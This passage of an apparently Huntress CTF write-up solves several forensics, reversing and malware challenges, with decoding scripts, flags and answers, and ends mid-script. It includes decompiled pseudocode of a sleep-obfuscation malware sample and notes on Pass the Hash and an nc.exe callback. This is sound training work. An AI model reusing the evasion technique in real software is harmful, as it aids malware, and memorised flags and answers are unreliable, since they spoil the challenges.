                print(f"Packet {packet_number}: No raw data found.")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python output_raw_packets.py <input.pcap>")
        sys.exit(1)

    pcap_file = sys.argv[1]
    print_raw_packets(pcap_file)

This allowed me to view the contents of the file in a more accessible way:

1
2
3
4
Packet 50: c070de3d9ea0ffff4301810901002d0028df3260000000005f5402000000000008000000080000000000000000000000080000000000000004020000000000000000000000000000
Packet 51: c070de3d9ea0ffff4301810901002d0028df326000000000ba0c0e000000000008000000080000000000000000000000080000000000000004020000000000000000240000000000
Packet 52: c070de3d9ea0ffff4301810901002d0028df326000000000ccc70e000000000008000000080000000000000000000000080000000000000004020000000000000000000000000000

From this, I could see that I needed the last 16 characters, as that was the HID data I observed in Wireshark. The following script takes the last 16 characters, parses them into text characters, and outputs the result.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import sys
from scapy.all import PcapReader, Raw
import string

def usb_to_ascii(num, mod=0):
    # Map keys
    lower = '????' + string.ascii_lowercase + "1234567890" + "\n??\t -=[]\\?;'`,./?"
    upper = '????' + string.ascii_uppercase + "!@#$%^&*()" + "\n??\t _|{}|?:\"~<>??"

    # Default to lower
    chars = lower
    
    if mod == 32:
        chars = upper
    if num == 42:
        # Hack in backspace
        return '\x08'  # backspace
    if 0 <= num < len(chars):
        return chars[num]
    return None

def extract_hid_data(pcap_file):
    decoded_string = ""
    with PcapReader(pcap_file) as pcap:
        packet_number = 0
        for packet in pcap:
            packet_number += 1
            if Raw in packet:
                raw_data = bytes(packet[Raw])
                if len(raw_data) >= 16:
                    hid_data = raw_data[-16:]  # Get the last 16 bytes
                    # Assuming the HID data follows the format of: [modifier][reserved][keycode...]
                    modifier = hid_data[0]
                    for keycode in hid_data[2:]:
                        if keycode != 0:  # Ignore key releases
                            char = usb_to_ascii(keycode, mod=modifier)
                            if char is not None:
                                decoded_string += char
    return decoded_string

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python decoder.py <input.pcap>")
        sys.exit(1)

    pcap_file = sys.argv[1]
    decoded_output = extract_hid_data(pcap_file)
    print("Decoded string:", decoded_output)

Output:

1
2
3
4
5
6
┌──(kali㉿kali)-[~/Downloads/keyboard]
└─$ python3 decoder2.py hid.pcap 
WARNING: PcapReader: unknown LL type [220]/[0xdc]. Using Raw packets
Decoded string: ??mso the answer is flag??[?f7733e0093b7d281dd0a30fcf34a9634??]? hahahah lol
??c

Flag: flag{f7733e0093b7d281dd0a30fcf34a9634}

Little Shop of Hashes

Author: Austin Worline, Jose Oregon, and Adrian Garcia

Category: Forensics

In the packet, secrets lie, Whispers of data pass by, Encrypted shadows creep, While the watchful eyes peep.

For this challenge, I haven’t written a full write-up; I’ve only noted the questions and their corresponding answers.

Little Shop of Hashes Part 1

What is the name of the service that the attacker ran and stopped, which dumped hashes on the first compromised host?

Answer: Remote Registry

Little Shop of Hashes Part 2

What lateral movement technique did the threat actor use to move to the other machine?

Answer: Pass the Hash

Little Shop of Hashes Part 3

What is the full path of the binary that the threat actor used to access the privileges of a different user with explicit credentials?

Answer: C:\Users\DeeDee\Documents\runasc.exe

Little Shop of Hashes Part 4

How many accounts were compromised by the threat actor?

Answer: 3

Little Shop of Hashes Part 5

What is the full path of the binary that was used to attempt a callback to the threat actor’s machine?

Answer: C:\Users\DeeDee\Documents\nc.exe

Sekiro

Author: @HuskyHacks

Category: Miscellaneous

お前はもう死んでいる

This challenge is a game that needs to be beaten. The trick is to automate it since your responses need to be lightning fast; otherwise, the game will disconnect itself. I tried manually playing the game a couple of times to understand the rules. The opponent attacks with a move, and you must respond with the corresponding counter move. Below are the rules of the game, so if the opponent uses strike, I should respond with block, and so forth:

1
2
3
4
        "strike": "block",
        "retreat": "strike",
        "advance": "retreat",
        "block": "advance"

Below is the transcript of the game.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
┌──(kali㉿kali)-[~/huntress/sekiro]
└─$ nc challenge.ctf.games 32184

⠀⠀⠀⢰⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠘⡇⠀⠀⠀⢠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢷⠀⢠⢣⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢘⣷⢸⣾⣇⣶⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣿⣿⣿⣹⣿⣿⣷⣿⣆⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⢼⡇⣿⣿⣽⣶⣶⣯⣭⣷⣶⣿⣿⣶⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠸⠣⢿⣿⣿⣿⣿⡿⣛⣭⣭⣭⡙⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⠿⠿⠿⢯⡛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣾⣿⡿⡷⢿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⡔⣺⣿⣿⣽⡿⣿⣿⣿⣟⡳⠦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣭⣾⣿⠃⣿⡇⣿⣿⡷⢾⣭⡓⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣾⣿⡿⠷⣿⣿⡇⣿⣿⣟⣻⠶⣭⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣋⣵⣞⣭⣮⢿⣧⣝⣛⡛⠿⢿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣀⣀⣠⣶⣿⣿⣿⣿⡿⠟⣼⣿⡿⣟⣿⡇⠀⠙⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⡼⣿⣿⣿⢟⣿⣿⣿⣷⡿⠿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠉⠁⠀⢉⣭⣭⣽⣯⣿⣿⢿⣫⣮⣅⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣿⣟⣽⣿⣿⣿⣿⣾⣿⣿⣯⡛⠻⢷⣶⣤⣄⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢀⡞⣾⣿⣿⣿⣿⡟⣿⣿⣽⣿⣿⡿⠀⠀⠀⠈⠙⠛⠿⣶⣤⣄⡀⠀⠀
⠀⠀⠀⣾⣸⣿⣿⣷⣿⣿⢧⣿⣿⣿⣿⣿⣷⠁⠀⠀⠀⠀⠀⠀⠀⠈⠙⠻⢷⣦
⠀⠀⠀⡿⣛⣛⣛⣛⣿⣿⣸⣿⣿⣿⣻⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⢸⡇⣿⣿⣿⣿⣿⡏⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢰⣶⣶⣶⣾⣿⢃⣿⣿⣿⣿⣯⣿⣭⠁

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   ------ 迷えば敗れる ------  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
          
Opponent move: advance
Your move: retreat


          
Opponent move: strike
Your move: block


          
Opponent move: strike
Your move: block


          
Opponent move: block
Your move: strike

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   -------------- 死 --------------
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

You have been disconnected. Goodbye.

I made a Python script that could connect to the server and automate the responses. After 12 moves, it outputs the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import socket
import time
import re

def connect_to_server(host, port):
    """Establish a connection to the server."""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    return s

def receive_move(sock):
    """Receive the opponent's move from the server."""
    try:
        buffer = ""
        while True:
            # Read data in smaller chunks
            data = sock.recv(1024).decode(errors='replace')  # Replace undecodable bytes with replacement character
            if not data:  # No data means the connection is closed
                break
            buffer += data
            
            # Check if the buffer contains a complete message
            if "\n" in buffer:
                break

        response = buffer.strip()  # Strip any extraneous whitespace
        print(f"Received: {response}")
        return response
    except Exception as e:
        print(f"Error receiving move: {e}")
        return ""

def send_move(sock, move):
    """Send your move to the server."""
    try:
        sock.sendall((move + '\n').encode())  # Send the move followed by a newline
    except Exception as e:
        print(f"Error sending move: {e}")

def main():
    host = "challenge.ctf.games"
    port = 32184

    # Connect to the server
    sock = connect_to_server(host, port)

    # Dictionary to map opponent moves to your responses
    move_responses = {
        "strike": "block",
        "retreat": "strike",
        "advance": "retreat",
        "block": "advance"
    }

    try:
        while True:
            # Receive the opponent's move
            opponent_move = receive_move(sock)

            if not opponent_move:
                print("No response from server, exiting.")
                break
            
            # Check for specific prompts or indicators of moves
            match = re.search(r'Opponent move:\s*(\w+)', opponent_move, re.IGNORECASE)
            if match:
                opponent_action = match.group(1).lower()
                print(f"Opponent move detected: {opponent_action}")

                # Determine your move based on the opponent's move
                your_move = move_responses.get(opponent_action, "invalid")  # Get your response from the dictionary

                if your_move != "invalid":
                    # Send your move to the server
                    print(f"Sending: {your_move}")
                    send_move(sock, your_move)
                else:
                    print("Invalid opponent move, no response sent.")

            else:
                print("No valid opponent move detected, waiting...")

            # Optional: Adjust waiting time or logic based on your observations
            time.sleep(1)

    except KeyboardInterrupt:
        print("Ending the session.")
    finally:
        sock.close()  # Ensure the socket is closed on exit

if __name__ == "__main__":
    main()

The script is a bit janky, but it gets the job done.

1
2
3
4
5
6
7
8
9
10
11
12
13
Opponent move: advance
Your move:
Opponent move detected: advance
Sending: retreat
⠇eceived: ⠋
No valid opponent move detected, waiting...
          ⠏
~~~~~~~~~~~~~~~~~~ 忍殺! ~~~~~~~~~~~~~~~~~~~~
flag{a1ae4e5604576818132ce3bfebe95de5}
No valid opponent move detected, waiting...
Received: 
No response from server, exiting.

Flag: flag{a1ae4e5604576818132ce3bfebe95de5}

Stack It

Author: @sudo_Rem

Category: Reverse Engineering

Our team of security analysts recently worked through a peculiar Lumma sample. The dentists helping us advised we floss at least twice a day to help out. He also gave us this weird file. Maybe you can help us out.

I opened the file in Binary Ninja and found the main function of the program. Next, I opened the file in gdb and set a breakpoint at *0x0804907b, where the program exits. Finally, I inspected the memory at the location of the flag.

1
2
3
4
5
6
7
(gdb) run
Starting program: /home/kali/huntress/stackit/stack_it.bin 
Hello, World!
Breakpoint 1, 0x0804907b in ?? ()
(gdb) x/s 0x804a050
0x804a050:      "flag{b4234f4bba4685dc84d6ee9a48e9c106}"
(gdb) 

Flag: flag{b4234f4bba4685dc84d6ee9a48e9c106}

GoCrackMe1

Author: @HuskyHacks

Category: Reverse Engineering

TENNNNNN-HUT! Welcome to the Go Dojo, gophers in training! Go malware is on the rise. So we need you to sharpen up those Go reverse engineering skills. We’ve written three simple CrackMe programs in Go to turn you into Go-binary reverse engineering ninjas! First up is the easiest of the three. Go get em!

I opened the file in Binary Ninja and found the main.main function of the program. I then pasted it into ChatGPT to help me understand what it was doing. I got it to create a Python script that would deobfuscate the flag.

1
2
3
4
5
6
# Reverse the XOR operation
obfuscated_string = "0:71-44coc``3dg0cc3c`nf2cno0e24435f0n+"
key = 0x56
original_chars = [chr(ord(char) ^ key) for char in obfuscated_string]
original_string = ''.join(original_chars)
print(original_string)
1
2
3
┌──(kali㉿kali)-[~/Downloads/go]
└─$ python3 script.py                             
flag{bb59566e21f55e5680d589f3dbbec0f8}

Flag: flag{bb59566e21f55e5680d589f3dbbec0f8}

1200 Transmissions

Author: @daveAThuntress

Category: Miscellaneous

Wait, there aren’t actually 1200 transmissions in this file, are there?

For this challenge i used mimimodem which according to https://www.whence.com/minimodem/ is: Minimodem is a command-line program which decodes (or generates) audio modem tones at any specified baud rate, using various framing protocols. It acts a general-purpose software FSK modem, and includes support for various standard FSK protocols such as Bell103, Bell202, RTTY, TTY/TDD, NOAA SAME, and Caller-ID.

I basically stomped on this tool when googling tools to decode this file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(kali㉿kali)-[~/Downloads/1200]
└─$ minimodem -r -f transmissions.wav 1200
### CARRIER 1200 @ 1200.0 Hz ###
Greetings, Professor Falken. 

Would you like to play a game? 

flag{f28d133e7174c412c1e39b4a84158fa3}

Thanks for playing the Huntress CTF!

        @
       @@
       @@@@
  @@@@  @@@@@@  @@ @@@@@@@@
   @@@@@@ @@@@@@@   @  @  @@@@
     @@@@@@@@@@@@@@ @@@ @@   @@@
 @@@@@@# @@@@@@@@@@@ @@@@@@@@  @@@
  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@
  @@         @@@@@@@@@@@@@@@     @@
  @@@@@@@@@@@@/@@@@@@@@@     @(~ @@
  @@    @@@@@@@@@@@ @@@@ @@@@  @@@
  @@@ @@@@.@@@@@@@@ @@@@@ @@@@  @@
   @@@  @@@*%@@@@ @@@ @@@@ @@@@@
     @@@    @   @@@@@@@@@ @@@@@
       @@@@.     @@@@@@@@ @@@@
           @@@@@@@@@ @@@@@ @@
                        @@
                         @ -dk

### NOCARRIER ndata=663 confidence=4.773 ampl=1.001 bps=1200.00 (rate perfect) ###

Flag: flag{f28d133e7174c412c1e39b4a84158fa3}

Echo Chamber

Author: @JohnHammond#6971

Category: Scripting

Is anyone there? Is anyone there? I’m sending myself the flag! I’m sending myself the flag!

For this challenge, we are given a PCAP file where a flag is hidden inside it. When you open the file, there are more than 32,000 packets. I used the script below to filter out only the Echo Reply packets and extract the ICMP payload (the data):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from scapy.all import *

# Load the pcap file
packet = rdpcap('echo_chamber.pcap')

# Initialize an empty list to store the decoded data
data = []

# Loop through each packet
for pac in packet:
    # Check if it's an ICMP packet and if it's an Echo Reply (ICMP type 0)
    if pac.haslayer(ICMP) and pac[ICMP].type == 0:
        # Extract the ICMP payload
        if pac.haslayer(Raw):
            # Get the last 8 bytes of the payload and decode
            try:
                decoded_data = pac[Raw].load[-8:].decode("utf-8")
                data.append(decoded_data)
            except UnicodeDecodeError:
                # Handle decoding errors if any (if the data isn't valid UTF-8)
                pass

# Join and print the decoded data
print("".join(data))

At the end of the output from the terminal, I saw this:

1
@@@@@@@@        GGGGGGGG""""""""3333333322222222NNNNNNNNxxxxxxxxXXXXXXXX>>>>>>>>nnnnnnnn~~~~~~~~MMMMMMMMEEEEEEEEEEEEEEEE44444444########################yyyyyyyy########IIIIIIII********!!!!!!!!@@@@@@@@xxxxxxxx""""""""@@@@@@@@FFFFFFFFjjjjjjjj@@@@@@@@        HHHHHHHHdddddddd````````FFFFFFFF""""""""▒▒▒▒▒▒▒▒@@@@@@@@        DDDDDDDDFFFFFFFFjjjjjjjj@@@@@@@@        HHHHHHHHdddddddd````````FFFFFFFF""""""""OOOOOOOOxxxxxxxx........ttttttttEEEEEEEEXXXXXXXXttttttttccccccccaaaaaaaappppppppttttttttiiiiiiiioooooooonnnnnnnnffffffffllllllllaaaaaaaagggggggg}}}}}}ssssssssDDDDDDDDttttttttEEEEEEEEXXXXXXXXttttttttccccccccaaaaaaaappppppppttttttttiiiiiiiioooooooonnnnnnnn::::::::lllllllliiiiiiiinnnnnnnneeeeeeeessssssss11111111========IIIIIIIIEEEEEEEENNNNNNNNDDDDDDDDBBBBBBBB````````^[[?1;2c

The end of it looked like a flag, and I manually just entered the flag.

Flag:flag{6b38aa917a754d8bf384dc73fde633ad}

X-RAY

Author: @JohnHammond

Category: Malware

The SOC detected malware on a host, but antivirus already quarantined it… can you still make sense of what it does?

I used John Hammonds video about Recover Quarantined Malware to figure out how to recreate the originale malware file.

So from that video i figured out how to use DeXRAY to see the original file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/huntress/xray]
└─$ ./DeXRAY.pl x-ray

=================================================================
 dexray v2.34, copyright by Hexacorn.com, 2010-2024
 Trend&Kaspersky decryption based on code by Optiv
 McAfee BUP decryption code by Brian Maloney
 Much better Symantec VBN support code by Brian Maloney
 Kaspersky System Watcher decryption by Luis Rocha&Antonio Monaca
 Sentinel One decryption research by MrAdz350
 Microsoft AV/Security Essentials by Corey Forman /fetchered/
 Cisco AMP research by @r0ns3n
 Thx to Brian Baskin, James Habben, Brian Maloney, Luis Rocha,
 Antonio Monaca, MrAdz350, Corey Forman /fetchered/, @r0ns3n
 Tony, Jordan Meurer, Oskar, RevD17, Roman D.
=================================================================
Processing file: 'x-ray'
 -> 'x-ray.00000184_Defender.out' - Defender File
 -> ofs='184' (000000B8)

Running the file command tells me what I am dealing with:

1
2
3
┌──(kali㉿kali)-[~/huntress/xray]
└─$ file x-ray.00000184_Defender.out 
x-ray.00000184_Defender.out: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

I then transfered the file to a windows VM and used IlSpy to analyze the dll file.

In the file there is a StageTwo and a Main(String[]): Void function and in that we find:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
.method public hidebysig static 
	void Main (
		string[] args
	) cil managed 
{
	// Method begins at RVA 0x3318
	// Header size: 12
	// Code size: 66 (0x42)
	.maxstack 3
	.locals init (
		[0] uint8[],
		[1] uint8[]
	)

	// new StageTwo().main("", new StreamReader(Console.OpenStandardInput()));
	IL_0000: newobj instance void stagetwo.StageTwo::.ctor()
	IL_0005: ldstr ""
	IL_000a: call class [mscorlib]System.IO.Stream [mscorlib]System.Console::OpenStandardInput()
	IL_000f: newobj instance void [mscorlib]System.IO.StreamReader::.ctor(class [mscorlib]System.IO.Stream)
	IL_0014: callvirt instance void stagetwo.StageTwo::main(object, object)
	// byte[] data = load("15b279d8c0fdbd7d4a8eea255876a0fd189f4fafd4f4124dafae47cb20a447308e3f77995d3c");
	IL_0019: ldstr "15b279d8c0fdbd7d4a8eea255876a0fd189f4fafd4f4124dafae47cb20a447308e3f77995d3c"
	IL_001e: call uint8[] stagetwo.StageTwo::load(string)
	// byte[] key = load("73de18bfbb99db4f7cbed3156d40959e7aac7d96b29071759c9b70fb18947000be5d41ab6c41");
	IL_0023: ldstr "73de18bfbb99db4f7cbed3156d40959e7aac7d96b29071759c9b70fb18947000be5d41ab6c41"
	IL_0028: call uint8[] stagetwo.StageTwo::load(string)
	IL_002d: stloc.0
	// byte[] bytes = otp(data, key);
	IL_002e: ldloc.0
	IL_002f: call uint8[] stagetwo.StageTwo::otp(uint8[], uint8[])
	IL_0034: stloc.1
	// Encoding.UTF8.GetString(bytes);
	IL_0035: call class [mscorlib]System.Text.Encoding [mscorlib]System.Text.Encoding::get_UTF8()
	IL_003a: ldloc.1
	IL_003b: callvirt instance string [mscorlib]System.Text.Encoding::GetString(uint8[])
	IL_0040: pop
	// }
	IL_0041: ret
} // end of method StageTwo::Main

The hardcoded strings represents the data and key to get the flag. I got a python script to do it for me:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import binascii

# Hex strings from the C# code
data_hex = "15b279d8c0fdbd7d4a8eea255876a0fd189f4fafd4f4124dafae47cb20a447308e3f77995d3c"
key_hex = "73de18bfbb99db4f7cbed3156d40959e7aac7d96b29071759c9b70fb18947000be5d41ab6c41"

# Convert the hex strings to byte arrays
data_bytes = binascii.unhexlify(data_hex)
key_bytes = binascii.unhexlify(key_hex)

# Ensure both data and key have the same length (OTP usually requires this)
if len(data_bytes) != len(key_bytes):
    raise ValueError("Data and Key lengths do not match!")

# OTP Decryption (XOR operation between each byte of data and key)
decrypted_bytes = bytes([d ^ k for d, k in zip(data_bytes, key_bytes)])

# Convert the decrypted bytes to a UTF-8 string
decoded_message = decrypted_bytes.decode('utf-8')

# Output the result
print(f"Decrypted message: {decoded_message}")

Flag: flag{df26090565cb329fdc8357080700b621}

eepy

Author: @HuskyHacks

Category: Malware

yawn why am i so eeeeeeeeepy?

I am not strong in reverse engineering, so I rely a lot of ChatGPT to analyse it for me, and then deduct from that what to do next. Basically I loaded the main function into ChatGPT and then ask it to explain to me what the different functions did and went from there. It also explained the procces, to do this writeup. I am using BinaryNinja to decompile the eepy.exe file. The analysis begins with the main function in the executable, which contains the following pseudocode:

1
2
3
4
5
6
7
8
void main() {
    sub_140001620();

    while (true) {
        sub_140002d00();
        sub_140002840(0xfa0);
    }
}

The sub_140002d00 function performs the following operations:

  1. Opens an internet connection using InternetOpenA.
  2. If successful, it opens a URL using InternetOpenUrlA:

    1
    2
    
    int64_t hInternet = InternetOpenA("Mozilla/5.0 ...", 1, nullptr, nullptr, 0);
    int64_t hInternet_1 = InternetOpenUrlA(hInternet, "http://supermegasus.huntress.local...", nullptr, 0, 0x80000000, 0);
    
  3. Closes the handles for the internet connection.

Next, I then analyzed the sub_140002840 function, It appeared to initialize several variables and set up timer queues:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
{
  sub_140002610(0x2280);
  int32_t var_2244 = 0;
  void var_21f0;
  __builtin_memset(&var_21f0, 0, 0x4d0);
  HANDLE phNewTimer = nullptr;
  void s;
  __builtin_memset(&s, 0, 0x4d0);
  void var_1850;
  __builtin_memset(&var_1850, 0, 0x4d0);
  void var_1380;
  __builtin_memset(&var_1380, 0, 0x4d0);
  void var_eb0;
  __builtin_memset(&var_eb0, 0, 0x4d0);
  void var_9e0;
  __builtin_memset(&var_9e0, 0, 0x4d0);
  void var_510;
  __builtin_memset(&var_510, 0, 0x4d0);
  void var_2216;
  __builtin_memcpy(&var_2216, &data_140003020, 0x26);
  sub_140002830(&var_2216, 0x26);
  void* var_2230 = &var_2216;
  int64_t var_2238 = 0x2600000026;
  HANDLE hHandle = CreateEventW(nullptr, 0, 0, nullptr);
  HANDLE TimerQueue = CreateTimerQueue();
  WAITORTIMERCALLBACK Callback = GetProcAddress(GetModuleHandleA("Ntdll"), "NtContinue");
  int64_t rax_2 = GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");
  HMODULE rax_3 = GetModuleHandleA(nullptr);
  HMODULE var_2220 = rax_3;
  int32_t rax_5 = *(uint32_t*)((rax_3 + ((int64_t)*(int64_t*)((char*)rax_3 + 0x3c))) + 0x50);
  enum WORKER_THREAD_FLAGS Flags = WT_EXECUTEINTIMERTHREAD;
  int32_t var_2224 = rax_5;
  int32_t var_2228 = rax_5;
  void* var_2258 = &var_21f0;
  
  if (CreateTimerQueueTimer(&phNewTimer, TimerQueue, RtlCaptureContext, &var_21f0, 0, 0, Flags) != 0)
  {
      void* Parameter = &s;
      enum WAIT_EVENT (* const var_2270_1)(HANDLE hHandle, uint32_t dwMilliseconds) = WaitForSingleObject;
      WaitForSingleObject(hHandle, 0x32);
      uint64_t rax_7 = ((uint64_t)rax_5);
      __builtin_memcpy(Parameter, var_2258, 0x4d0);
      __builtin_memcpy(&var_1850, var_2258, 0x4d0);
      __builtin_memcpy(&var_1380, var_2258, 0x4d0);
      __builtin_memcpy(&var_eb0, var_2258, 0x4d0);
      __builtin_memcpy(&var_9e0, var_2258, 0x4d0);
      __builtin_memcpy(&var_510, var_2258, 0x4d0);
      HMODULE var_1ca0_1 = rax_3;
      uint64_t var_1c98_1 = rax_7;
      BOOL (* const var_1c28_1)(void* lpAddress, uint64_t dwSize, enum PAGE_PROTECTION_FLAGS flNewProtect, enum PAGE_PROTECTION_FLAGS* lpflOldProtect) = VirtualProtect;
      int32_t* var_1c60_1 = &var_2244;
      int64_t var_1c88;
      int64_t var_1c88_1 = (var_1c88 - 8);
      int64_t var_17b8;
      int64_t var_17b8_1 = (var_17b8 - 8);
      int64_t var_1c68_1 = 4;
      int64_t var_1758_1 = rax_2;
      uint64_t var_958_1 = rax_7;
      uint64_t var_12f8_1 = ((uint64_t)arg1);
      enum WAIT_EVENT (* const var_1288_1)(HANDLE hHandle, uint32_t dwMilliseconds) = var_2270_1;
      HMODULE var_960_1 = rax_3;
      int64_t* var_17c8_1 = &var_2238;
      int64_t* var_e28_1 = &var_2238;
      BOOL (* const var_8e8_1)(void* lpAddress, uint64_t dwSize, enum PAGE_PROTECTION_FLAGS flNewProtect, enum PAGE_PROTECTION_FLAGS* lpflOldProtect) = VirtualProtect;
      int32_t* var_920_1 = &var_2244;
      int64_t var_12e8;
      int64_t var_12e8_1 = (var_12e8 - 8);
      int64_t var_e18;
      int64_t var_e18_1 = (var_e18 - 8);
      int64_t var_948;
      int64_t var_948_1 = (var_948 - 8);
      int64_t var_478;
      int64_t var_478_1 = (var_478 - 8);
      int32_t* var_17d0_1 = &var_2228;
      int64_t var_1300_1 = -1;
      int64_t var_db8_1 = rax_2;
      int32_t* var_e30_1 = &var_2228;
      int64_t var_928_1 = 0x40;
      BOOL (* const var_418_1)(HANDLE hEvent) = SetEvent;
      HANDLE hHandle_1 = hHandle;
      CreateTimerQueueTimer(&phNewTimer, TimerQueue, Callback, Parameter, 0x64, 0, WT_EXECUTEINTIMERTHREAD);
      CreateTimerQueueTimer(&phNewTimer, TimerQueue, Callback, &var_1850, 0xc8, 0, WT_EXECUTEINTIMERTHREAD);
      CreateTimerQueueTimer(&phNewTimer, TimerQueue, Callback, &var_1380, 0x12c, 0, WT_EXECUTEINTIMERTHREAD);
      CreateTimerQueueTimer(&phNewTimer, TimerQueue, Callback, &var_eb0, 0x190, 0, WT_EXECUTEINTIMERTHREAD);
      CreateTimerQueueTimer(&phNewTimer, TimerQueue, Callback, &var_9e0, 0x1f4, 0, WT_EXECUTEINTIMERTHREAD);
      CreateTimerQueueTimer(&phNewTimer, TimerQueue, Callback, &var_510, 0x258, 0, WT_EXECUTEINTIMERTHREAD);
      var_2270_1(hHandle, 0xffffffff);
  }
  
  return DeleteTimerQueue(TimerQueue);
}

  1. Calls sub_140002610(0x2280).
  2. Initializes several structures and prepares for timers.
  3. Creates multiple timer queue timers with a callback to RtlCaptureContext, using CreateTimerQueueTimer.

The function sub_140002610 is responsible for managing memory operations. It decrements a pointer based on the input argument:

1
2
3
4
5
6
7
if (arg1 >= 0x1000) {
    do {
        rcx -= 0x1000;
        *(uint64_t*)rcx = *(uint64_t*)rcx;
        arg1 -= 0x1000;
    } while (arg1 > 0x1000);
}

The function sub_140002830 performs a bitwise XOR operation on the data buffer:

1
2
3
4
while (arg2 > result) {
    arg1[result] ^= 0xaa;
    result += 1;
}

The data buffer data_140003020 is analyzed, containing the following hexadecimal values:

1
2
3
4
cc c6 cb cd d1 98 cc cf c8 99 cc cc 92 cb 98 9b 
cb 99 9c ce c8 9b cb ce 99 92 9c ce 99 99 cb 98 
93 ce 92 9f cb d7 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

The decryption process is implemented in Python to reveal the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Original data (as hexadecimal bytes)
data = [
    0xcc, 0xc6, 0xcb, 0xcd, 0xd1, 0x98, 0xcc, 0xcf,
    0xc8, 0x99, 0xcc, 0xcc, 0x92, 0xcb, 0x98, 0x9b,
    0xcb, 0x99, 0x9c, 0xce, 0xc8, 0x9b, 0xcb, 0xce,
    0x99, 0x92, 0x9c, 0xce, 0x99, 0x99, 0xcb, 0x98,
    0x93, 0xce, 0x92, 0x9f, 0xcb, 0xd7, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]

# Decryption process
decrypted = [byte ^ 0xAA for byte in data]
